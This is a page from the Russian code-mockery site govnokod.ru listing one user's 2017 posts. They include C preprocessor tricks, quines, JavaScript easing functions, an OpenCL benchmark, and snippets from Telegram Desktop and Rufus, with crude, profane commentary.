7

  1. Си / Говнокод #23225

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    #define SPLICE(a,b) a##b
    #define LL(a,b) SPLICE(a,b)
    #define M(name) LL(NS,name)
    
    
    #define NS ns1_
    
    void M(somefunction)(){
    }
    
    #undef NS
    
    
    #define NS ns2_
    
    void M(somefunction)(){
    }
    
    #undef NS
    
    
    #define NS ns3_
    
    void M(somefunction)(){
    }
    
    #undef NS

    неймспейсы в Си на препроцессоре

    j123123, 30 Июля 2017

    Комментарии (8)
  2. JavaScript / Говнокод #23219

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    var effects = {
    	linear: function(t) {
    		return t;
    	},
    
    	easeInQuad: function(t) {
    		return t * t;
    	},
    
    	easeOutQuad: function(t) {
    		return -t * (t - 2);
    	},
    
    	easeInOutQuad: function(t) {
    		if ((t /= 0.5) < 1) {
    			return 0.5 * t * t;
    		}
    		return -0.5 * ((--t) * (t - 2) - 1);
    	},
    
    	easeInCubic: function(t) {
    		return t * t * t;
    	},
    
    	easeOutCubic: function(t) {
    		return (t = t - 1) * t * t + 1;
    	},
    
    	easeInOutCubic: function(t) {
    		if ((t /= 0.5) < 1) {
    			return 0.5 * t * t * t;
    		}
    		return 0.5 * ((t -= 2) * t * t + 2);
    	},
    
    	easeInQuart: function(t) {
    		return t * t * t * t;
    	},
    
    	easeOutQuart: function(t) {
    		return -((t = t - 1) * t * t * t - 1);
    	},
    
    	easeInOutQuart: function(t) {
    		if ((t /= 0.5) < 1) {
    			return 0.5 * t * t * t * t;
    		}
    		return -0.5 * ((t -= 2) * t * t * t - 2);
    	},
    
    	easeInQuint: function(t) {
    		return t * t * t * t * t;
    	},
    
    	easeOutQuint: function(t) {
    		return (t = t - 1) * t * t * t * t + 1;
    	},
    
    	easeInOutQuint: function(t) {
    		if ((t /= 0.5) < 1) {
    			return 0.5 * t * t * t * t * t;
    		}
    		return 0.5 * ((t -= 2) * t * t * t * t + 2);
    	},
    
    	easeInSine: function(t) {
    		return -Math.cos(t * (Math.PI / 2)) + 1;
    	},
    
    	easeOutSine: function(t) {
    		return Math.sin(t * (Math.PI / 2));
    	},
    
    	easeInOutSine: function(t) {
    		return -0.5 * (Math.cos(Math.PI * t) - 1);
    	},
    
    	easeInExpo: function(t) {
    		return (t === 0) ? 0 : Math.pow(2, 10 * (t - 1));
    	},
    
    	easeOutExpo: function(t) {
    		return (t === 1) ? 1 : -Math.pow(2, -10 * t) + 1;
    	},
    
    	easeInOutExpo: function(t) {
    		if (t === 0) {
    			return 0;
    		}
    		if (t === 1) {
    			return 1;
    		}
    		if ((t /= 0.5) < 1) {
    			return 0.5 * Math.pow(2, 10 * (t - 1));
    		}
    		return 0.5 * (-Math.pow(2, -10 * --t) + 2);
    },
    ...

    /**
    * Easing functions adapted from Robert Penner's easing equations.
    * @namespace Chart.helpers.easingEffects
    * @see http://www.robertpenner.com/easing/
    */

    В общем это такая специальная параша, чтобы делать гладкую анимацию какой-то х****. Вопрос - на***а вообще нужна эта гладкая анимация, и почему эту х***ю не реализуют как набор неких встроенных в браузер функций чтобы их из этого жабаскрипта вызывать, чтобы эта хрень не тормозила? Меня б**** з****** эти ё***** сайты, обвешанные какой-то б******* х***** на жабаскрипте которая прыгает по всему экрану, кому вообще пришла в голову идея сделать подобную хрень? Поубивал бы этих е***** фронтендщиков с их х****й

    http://easings.net/ru вот еще про эту хуиту.

    j123123, 26 Июля 2017

    Комментарии (13)
  3. Си / Говнокод #23213

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    #include <stdio.h>
    #include <stdlib.h>
    #include <inttypes.h>
    #include <string.h>
    #include <stddef.h>
    
    #define INITARR(arr,...)                                                                                      \
    do                                                                                                            \
    {                                                                                                             \
      typedef struct {typeof(*arr) __tmp_arr[sizeof( (typeof(*arr)[]){__VA_ARGS__} ) / sizeof(*arr)];} __tmp_str; \
      *((__tmp_str *)arr) = (__tmp_str){{__VA_ARGS__}};                                                           \
    } while(0)
    
    
    
    int main(void)
    {
      uint8_t *test;
      test = malloc (sizeof (uint8_t[10]));
      INITARR(test,1,2,3,4,5,6,7,8,9,10);  
      for (size_t i = 0; i < 10; i++)
      {
        printf("%" PRIu8 ", ", test[i]);
      }
      return 0;
    }

    Для удобной инициализации массивов в хипе

    j123123, 23 Июля 2017

    Комментарии (6)
  4. Си / Говнокод #23211

    −1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    Сишечные строки для printf-подобной параши из прошивки ESP8266 (для веб-сервера):
    ....
    method="POST">Login: <INPUT size=10 NAME='login' value="%s"> Password: <INPUT size=10 NAME='pass' value="%s"></td></tr><br><INPUT TYPE='checkbox' NAME='fls'%s> Full Security.
    <input type="hidden" name="st" value=5><br>%s
    <hr><b>Config module:</b><br><div class="spH2"></div><form method="GET">Host name: <INPUT size=12 NAME='hn' value="%s">
    <input type="hidden" name="st" value=7><br>%s
    <hr><b>WiFi options:</b><br><div class="spH2"></div><form method="GET"><input type="radio" name="sm" value="0" %s>Station mode.<input type="radio" name="sm" value="7" %s>AP mode.<br>AP name: <input size=20 name="stname" value="%s"> <br>AP pass: <input size=20 type='password' name="stpass" value="%s"><br>
    <!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>%s</title><meta http-equiv="REFRESH" content="60"><meta name="viewport" content="width=480" /><meta name="mobile-web-app-capable" content="yes" /><link rel="stylesheet" href="main.css"></head><body><br><div style="text-align: center"><div style="display: inline-block"><div class="name fll">%s<div class="www">MaksMS <a href="http://wifi-iot.com" target="_blank">wifi-iot.com</a><br>

    ... и никакого пхп
    http://wifi-iot.com/ вот тут можно генерировать такие говнопрошивки

    j123123, 23 Июля 2017

    Комментарии (4)
  5. Си / Говнокод #23188

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    char*a??(??)=??<
    "??=include",
    "??=include",
    "??=define o stdout",
    "??=define b break;case",
    "??=define s(p)fputs(p,o);",
    "??=define c(p)fputc(p,o);",
    "void t(p,f)char*p;????/")b'??(':s(??/"???/??/?(??/")b'??)'",
    ":s(??/"???/??/?)??/")b'??/??/??/??/':f&&s(??/"???/??/?/??/")",
    "s(??/"???/??/?/??/")b'??/??/n':if(f)s(??/"???/??/?/n??/")",
    "else case'??/"':if(f)s(??/"???/??/?/??/??/??/"??/")",
    "else default:c(*p)??>??>??>main()??;??/",0);for(p=a",
    ";*p;p++)t(*p,0);exit(!ferror(o)&&",
    "!fclose(o)?EXIT_SUCCESS",
    ":EXIT_FAILURE);",
    "/*NOTREACHED*/",
    "??>",
    0??>;
    ??=include
    ??=include
    ??=define o stdout
    ??=define b break;case
    ??=define s(p)fputs(p,o);
    ??=define c(p)fputc(p,o);
    void t(p,f)char*p;??':s("???/?>")b'??(':s("???/?(")b'??)'
    :s("???/?)")b'??/??/':f&&s("???/?/")
    s("???/?/")b'??/n':if(f)s("???/?/n")
    else case'"':if(f)s("???/?/??/"")
    else default:c(*p)??>??>??>main()??;",0);for(p=a
    ;*p;p++)t(*p,0);exit(!ferror(o)&&
    !fclose(o)?EXIT_SUCCESS
    :EXIT_FAILURE);
    /*NOTREACHED*/
    ??>

    Очередной куайн. Херня на триграфах. Взято отсюда

    http://www.nyx.net/~gthompso/self_c.txt


    Там разумеется есть намного более ебанутые варианты

    j123123, 16 Июля 2017

    Комментарии (0)
  6. Си / Говнокод #23187

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    #include <stdio.h>
    char s[];
    int main ()
    {
        printf ("%s", s);
        for (char *s_p = s; *s_p; s_p++ )
        {
            printf ("%i,", *s_p);
        }
        printf ("};\n");
        return 0;
    }
    
    char s[] = R"(#include <stdio.h>
    char s[];
    int main ()
    {
        printf ("%s", s);
        for (char *s_p = s; *s_p; s_p++ )
        {
            printf ("%i,", *s_p);
        }
        printf ("};\n");
        return 0;
    }
    
    char s[] = {)";

    https://wandbox.org/permlink/uOQ7Uk6uFt4WVS2Y
    код на особом диалекте си (-std=gnu11) который генерирует код на более-менее обычном си (-std=c99) и этот сгенерированный код умеет будет генерировать сам себя
    Основано на сраной параше под названием raw string literals http://govnokod.ru/23178#comment388392 которая оказывается что поддерживается в особом диалекте си (-std=gnu11) https://stackoverflow.com/a/24850262

    j123123, 16 Июля 2017

    Комментарии (9)
  7. Си / Говнокод #23180

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    #include <stdint.h>
    #include <stdio.h>
    
    char a[] = {35,105,110,99,108,117,100,101,32,60,115,116,100,105,110,116,46,104,62,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,10,99,104,97,114,32,97,91,93,32,61,32,123,0,125,59,10,10,105,110,116,32,109,97,105,110,40,118,111,105,100,41,10,123,10,32,32,105,110,116,32,98,59,10,32,32,98,32,61,32,112,114,105,110,116,102,40,34,37,115,34,44,32,97,41,59,10,32,32,102,111,114,32,40,99,104,97,114,32,42,105,32,61,32,97,59,32,105,32,60,32,97,32,43,32,115,105,122,101,111,102,40,97,41,59,32,105,43,43,41,10,32,32,123,10,32,32,32,32,112,114,105,110,116,102,40,34,37,105,44,34,44,32,42,105,41,59,10,32,32,125,10,32,32,112,114,105,110,116,102,40,34,37,115,34,44,32,97,43,98,43,49,41,59,10,32,32,114,101,116,117,114,110,32,48,59,10,125,10,};
    
    int main(void)
    {
      int b;
      b = printf("%s", a);
      for (char *i = a; i < a + sizeof(a); i++)
      {
        printf("%i,", *i);
      }
      printf("%s", a+b+1);
      return 0;
    }

    куайн на сишечке

    j123123, 12 Июля 2017

    Комментарии (4)
  8. C++ / Говнокод #23178

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    #include <algorithm>
    #include <exception>
    #include <iostream>
    #include <memory>
    #include <string>
    #include <vector>
    #include <random>
    #include <chrono>
    #define __CL_ENABLE_EXCEPTIONS
    #include "cl.hpp"
    
    using namespace std::string_literals;
    
    
    int main(int argc, char * argv[]) {
      
      
      size_t data_len = (1024 * 1024 * strtoul(argv[1], nullptr, 10)) / sizeof(uint32_t),
             out_len = strtoul(argv[2], nullptr, 10),
             iter = strtoul(argv[3], nullptr, 10),
             block_size = strtoul(argv[4], nullptr, 10);
      
      std::string src = R"(
        typedef unsigned int uint32_t;
    __kernel void bench(global const uint32_t * data, global uint32_t * out) {
        
        uint32_t res = 0, id = get_global_id(0), next = id;
        for(uint32_t i = 0; i < )"s + std::to_string(iter) + R"(; ++i) {
            for(uint32_t j = 0; j < )" + std::to_string(block_size / sizeof(uint32_t)) +  R"(; ++j)
                res ^= data[next + j];
            next = data[next];
        }
        out[id] = res;
        
    }
      
      )"s;
      
      cl::Program::Sources sources = {{src.data(), src.size()}};
    
    
      std::vector<cl::Platform> platforms;
      cl::Platform::get(&platforms);
      
      std::vector<uint32_t> data(data_len);
      std::vector<uint32_t> out(out_len);
      
      std::generate(std::begin(data), std::end(data), [=,gen = std::mt19937{}]() mutable {
        return gen() % (data_len - (block_size / sizeof(uint32_t)));
      });
      
      for(auto & platform : platforms) {
        std::cout << "Using platform: " << platform.getInfo<CL_PLATFORM_NAME>() << "\n";
        std::vector<cl::Device> devices;
        platform.getDevices(CL_DEVICE_TYPE_GPU, &devices);
        for(auto & device : devices) {
          try {
            std::cout << "Using device: " << device.getInfo<CL_DEVICE_NAME>() << "\n";
            cl::Context ctx({device});
            cl::Program program(ctx, sources);
            program.build({device});
            
            cl::Buffer data_buffer(ctx, CL_MEM_READ_WRITE, data.size() * sizeof(uint32_t));
            cl::Buffer out_buffer(ctx, CL_MEM_READ_WRITE, out.size() * sizeof(uint32_t));
            cl::CommandQueue queue(ctx, device);
            queue.enqueueWriteBuffer(data_buffer, CL_TRUE, 0, data.size() * sizeof(uint32_t), data.data());
            
            cl::make_kernel<cl::Buffer &, cl::Buffer &> bench(program, "bench");
            cl::EnqueueArgs eargs(queue,cl::NullRange,cl::NDRange(out.size()),cl::NullRange);
            
            auto start = std::chrono::high_resolution_clock::now();
            bench(eargs, data_buffer, out_buffer).wait();
            auto time = std::chrono::duration_cast<std::chrono::duration<double>>(std::chrono::high_resolution_clock::now() - start).count();
            
            size_t ops = out_len * iter;
            size_t total_tp = ops * block_size;
            double miops = (ops / time) / (1000 * 1000);
            double tpgbps = (total_tp / time) / (1024 * 1024 * 1024);
            fprintf(stderr, "Result: %.2fMIOPS, %.2fGB/s, %.2fsec\n", miops, tpgbps, time);
            
            
            queue.enqueueReadBuffer(out_buffer, CL_TRUE, 0, out.size() * sizeof(uint32_t), out.data());   
          
          } catch(cl::Error e) {
            std::cout << e.what() << " : " << e.err() << std::endl;
            std::terminate();
          }
        }
        
      }
    }

    Код Царя
    https://www.linux.org.ru/forum/development/13489159
    https://github.com/superhackkiller1997/gpu_mem_benchmark/blob/master/main.cpp

    j123123, 12 Июля 2017

    Комментарии (57)
  9. C++ / Говнокод #23170

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    int32 documentColorIndex(DocumentData *document, QString &ext) {
    	int32 colorIndex = 0;
    
    	QString name = document ? (document->name.isEmpty() ? (document->sticker() ? lang(lng_in_dlg_sticker) : qsl("Unknown File")) : document->name) : lang(lng_message_empty);
    	name = name.toLower();
    	int32 lastDot = name.lastIndexOf('.');
    	QString mime = document ? document->mime.toLower() : QString();
    	if (name.endsWith(qstr(".doc")) ||
    		name.endsWith(qstr(".txt")) ||
    		name.endsWith(qstr(".psd")) ||
    		mime.startsWith(qstr("text/"))
    		) {
    		colorIndex = 0;
    	} else if (
    		name.endsWith(qstr(".xls")) ||
    		name.endsWith(qstr(".csv"))
    		) {
    		colorIndex = 1;
    	} else if (
    		name.endsWith(qstr(".pdf")) ||
    		name.endsWith(qstr(".ppt")) ||
    		name.endsWith(qstr(".key"))
    		) {
    		colorIndex = 2;
    	} else if (
    		name.endsWith(qstr(".zip")) ||
    		name.endsWith(qstr(".rar")) ||
    		name.endsWith(qstr(".ai")) ||
    		name.endsWith(qstr(".mp3")) ||
    		name.endsWith(qstr(".mov")) ||
    		name.endsWith(qstr(".avi"))
    		) {
    		colorIndex = 3;
    	} else {
    		QChar ch = (lastDot >= 0 && lastDot + 1 < name.size()) ? name.at(lastDot + 1) : (name.isEmpty() ? (mime.isEmpty() ? '0' : mime.at(0)) : name.at(0));
    		colorIndex = (ch.unicode() % 4);
    	}
    
    	ext = document ? ((lastDot < 0 || lastDot + 2 > name.size()) ? name : name.mid(lastDot + 1)) : QString();
    
    	return colorIndex;
    }

    https://github.com/telegramdesktop/tdesktop/blob/5f5770dd46491133b135a71fc2d4f92d13107ade/Telegram/SourceFiles/layout.cpp#L170-L211

    херь из исходниктв Telegram Desktop

    j123123, 10 Июля 2017

    Комментарии (20)
  10. C++ / Говнокод #23161

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    #include <optional>
    
    namespace aim {
    
            template <typename T, template <typename> typename Cont>
            struct is_valid {};
    
            template <typename T, template <typename> typename Cont>
            struct chain;
    
            template <typename T, template <typename> typename Cont>
            struct chain {
                    using value_type_t = T;
                    using holder_t = Cont<value_type_t>;
    
                    chain()
                    {}
    
                    chain(holder_t&& value_)
                    : value(std::move(value_))
                    {}
    
                    template <typename Func>
                    constexpr auto otherwise(Func&& func) {
                            return chain<T, Cont>{std::move(func())};
                    }
    
                    template <typename Func>
                    constexpr auto with(Func&& func) -> chain<value_type_t, Cont> {
                            if (bool(value)) {
                                    return chain<value_type_t, Cont>{Cont<value_type_t>{func(*value)}};
                            }
                            else {
                                    return chain<value_type_t, Cont>{};
                            }
                    }
    
                    holder_t value;
            };
    
            template <typename T, template <typename> typename Cont>
            chain(Cont<T>&&) -> chain<T, Cont>;
    
            template <typename T, template <typename> typename Cont>
            struct use {
                    using value_type_t = T;
                    using holder_t = Cont<value_type_t>;
    
                    use(holder_t&& value)
                    : value(std::move(value))
                    {}
    
                    template <typename Func>
                    constexpr auto with(Func&& func) -> chain<value_type_t, Cont> {
                            if (is_valid<T, Cont>{}(value)) {
                                    return chain<value_type_t, Cont>{Cont<value_type_t>{func(*value)}};
                            }
                            else {
                                    return chain<value_type_t, Cont>{};
                            }
                    }
    
                    holder_t value;
            };
    
            template <typename T, template <typename> typename Cont>
            use(Cont<T>&&) -> use<T, Cont>;
            
    }
    
    namespace aim {
            template <typename T>
            struct is_valid<T, std::optional> {
                    constexpr bool operator()(std::optional<T> const& value) {
                            return bool(value);
                    }
            };
    }
    
    #include <iostream>
    #include <memory>
    
    int main() {
            {
                    std::optional<int> a;
    
                    aim::use(std::move(a)).with([](auto v) {
                            std::cout << v << '\n';
                            return 1;
                    }).otherwise([](){
                            std::cout << "it's none!\n";
                            return 2;
                    }).with([](auto v){
                            std::cout <<  v << '\n';
                            return 3;
                    });
            }
    }

    говно

    j123123, 06 Июля 2017

    Комментарии (7)
     
     
    1. Си / Говнокод #23156

      −1

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      34. 34
      35. 35
      36. 36
      37. 37
      38. 38
      39. 39
      40. 40
      41. 41
      42. 42
      43. 43
      44. 44
      45. 45
      46. 46
      47. 47
      48. 48
      49. 49
      50. 50
      51. 51
      52. 52
      53. 53
      54. 54
      55. 55
      56. 56
      57. 57
      58. 58
      59. 59
      60. 60
      61. 61
      62. 62
      63. 63
      64. 64
      65. 65
      66. 66
      67. 67
      68. 68
      69. 69
      70. 70
      71. 71
      72. 72
      73. 73
      74. 74
      75. 75
      76. 76
      77. 77
      78. 78
      79. 79
      static bool
      do_convert(iconv_t cd, const char * src, int src_len,
                 char ** dst, int *dst_len)
        {
        char * ret;
      
        char *inbuf;
        char *outbuf;
        int alloc_size;
        int output_pos;
        size_t inbytesleft;
        size_t outbytesleft;
      
        if(src_len < 0)
          src_len = strlen(src);
      #if 0
        fprintf(stderr, "Converting:\n");
        bgav_hexdump(src, src_len, 16);
      #endif
        alloc_size = src_len + BYTES_INCREMENT;
      
        inbytesleft  = src_len;
      
        /* We reserve space here to add a final '\0' */
        outbytesleft = alloc_size-1;
      
        ret    = malloc(alloc_size);
      
        inbuf  = (char *)src;
        outbuf = ret;
      
        while(1)
          {
      
          if(iconv(cd, (ICONV_CONST char **)&inbuf, &inbytesleft,
                   &outbuf, &outbytesleft) == (size_t)-1)
            {
            switch(errno)
              {
              case E2BIG:
                output_pos = (int)(outbuf - ret);
      
                alloc_size   += BYTES_INCREMENT;
                outbytesleft += BYTES_INCREMENT;
      
                ret = realloc(ret, alloc_size);
                if (ret == NULL)
                  {
                  cdio_warn("Can't realloc(%d).", alloc_size);
                  return false;
                  }
                outbuf = ret + output_pos;
                break;
              default:
                cdio_warn("Iconv failed: %s", strerror(errno));
                if (ret != NULL)
                  free(ret);
                return false;
                break;
              }
            }
          if(!inbytesleft)
            break;
          }
        /* Zero terminate */
        *outbuf = '\0';
      
        /* Set return values */
        *dst = ret;
        if(dst_len)
          *dst_len = (int)(outbuf - ret);
      #if 0
        fprintf(stderr, "Conversion done, src:\n");
        bgav_hexdump(src, src_len, 16);
        fprintf(stderr, "dst:\n");
        bgav_hexdump((uint8_t*)(ret), (int)(outbuf - ret), 16);
      #endif
        return true;
      }

      https://github.com/pbatard/rufus/blob/edcfd43ed550b17f23f9534f4b3b5cdd7fffdefc/src/libcdio/driver/utf8.c#L170-L248

      А вы тут видите тут баг?

      j123123, 05 Июля 2017

      Комментарии (16)
    2. Си / Говнокод #23155

      0

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      void SetTitleBarIcon(HWND hDlg)
      {
      	int i16, s16, s32;
      	HICON hSmallIcon, hBigIcon;
      
      	// High DPI scaling
      	i16 = GetSystemMetrics(SM_CXSMICON);
      	// Adjust icon size lookup
      	s16 = i16;
      	s32 = (int)(32.0f*fScale);
      	if (s16 >= 54)
      		s16 = 64;
      	else if (s16 >= 40)
      		s16 = 48;
      	else if (s16 >= 28)
      		s16 = 32;
      	else if (s16 >= 20)
      		s16 = 24;
      	if (s32 >= 54)
      		s32 = 64;
      	else if (s32 >= 40)
      		s32 = 48;
      	else if (s32 >= 28)
      		s32 = 32;
      	else if (s32 >= 20)
      		s32 = 24;
      
      	// Create the title bar icon
      	hSmallIcon = (HICON)LoadImage(hMainInstance, MAKEINTRESOURCE(IDI_ICON), IMAGE_ICON, s16, s16, 0);
      	SendMessage (hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hSmallIcon);
      	hBigIcon = (HICON)LoadImage(hMainInstance, MAKEINTRESOURCE(IDI_ICON), IMAGE_ICON, s32, s32, 0);
      	SendMessage (hDlg, WM_SETICON, ICON_BIG, (LPARAM)hBigIcon);
      }

      https://github.com/pbatard/rufus/blob/92d046e663811fd922262f1f347ad2ebe8e09b97/src/stdlg.c#L1607-L1639

      j123123, 05 Июля 2017

      Комментарии (4)
    3. Си / Говнокод #23143

      0

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      #include <stdio.h>;
      
      void check(int x, int y) {
        if (2*x == y && y < 0 && 0 <= 2*x) {
          puts("Impossible!");
        }
      }
      
      int main() {
        check(0x7F80007F, 0xFF0000FE);
      }

      https://runtimeverification.com/blog/?p=257
      When writing code for a specific compiler you can rely on the implementation-specified behavior, but signed overflow is still problematic. GCC promises that conversions between integer types will be reduced modulo the appropriate power of two when the value is not representable in the target type. This means that with GCC the conversion above will initialize var to -0x112234 on any architecture that GCC supports. However, only initialization and other conversions are safe. GCC still considers signed overflow in arithmetic as undefined behavior, and optimizes under the assumption that there will be no overflow. This can lead to apparently impossible results when signed values do overflow. Compiled with -O3, this program prints “Impossible!”.

      By adding apparently-redundant casts to 2*x to give (int)(2*(unsigned int)x), the calculation becomes implementation-specified behavior from an out-of-range conversion instead of undefined behavior. While this code may not be portable between compilers, GCC now guarantees the “impossible” code will not be executed even with -O3.

      j123123, 20 Июня 2017

      Комментарии (2)
    4. JavaScript / Говнокод #23111

      +1

      1. 1
      2. 2
      var x = '$$>1 ? eval(x.replace(/\\$\\$/g, $$-1)) + eval(x.replace(/\\$\\$/g, $$-2)) : 1';
      eval(x.replace(/\$\$/g, 5))

      Yo dawg, I heard you like evaluation. So I put evaluation in your evaluation so you could evaluate while you evaluate
      Фибоначчи, по мотивам http://govnokod.ru/20105#comment330201 хуйни

      j123123, 06 Июня 2017

      Комментарии (13)
    5. Си / Говнокод #23080

      +2

      1. 1
      2. 2
      3. 3
      for(i==1;i<=1000;i++)
      
      https://youtu.be/Tzl0ELY_TiM?t=89

      И эти люди хотят кого-то учить программированию?

      j123123, 30 Мая 2017

      Комментарии (69)
    6. Си / Говнокод #23073

      +2

      1. 1
      2. 2
      3. 3
      4. 4
      5. 5
      6. 6
      for(uint64_t i = 0ULL; i <= 999999999ULL; i+= 1)
      {
          long double a =  0.00005l * i; // это чтоб в плавучке не накапливались ошибки.
          somefunction(a);
          ....
      }

      j123123, 26 Мая 2017

      Комментарии (10)
    7. PHP / Говнокод #23051

      0

      1. 1
      https://web.archive.org/web/20070125181458/http://2ch.ru/s/src/1158095011998.gif

      j123123, 21 Мая 2017

      Комментарии (0)
    8. Assembler / Говнокод #23014

      0

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      #define SPLICE(a,b) SPLICE_1(a,b)
      #define SPLICE_1(a,b) SPLICE_2(a,b)
      #define SPLICE_2(a,b) a##b
      #define LL(a,b) SPLICE_2(a,b)
      #define L(a) LL(a,LOC)
      
      
      #define LOC sub1
      .func sub1
      sub1:
          ljmp L(L1)
      
      L(L1):
          nop
      .endfunc
      
      #define LOC sub2
      .func sub2
      sub2:
          ljmp L(L1)
      
      L(L1):
          nop
      .endfunc

      Когда захотел сделать local labels в ассемблере через сишный препроцессор

      j123123, 12 Мая 2017

      Комментарии (54)
    9. Си / Говнокод #22876

      −33

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
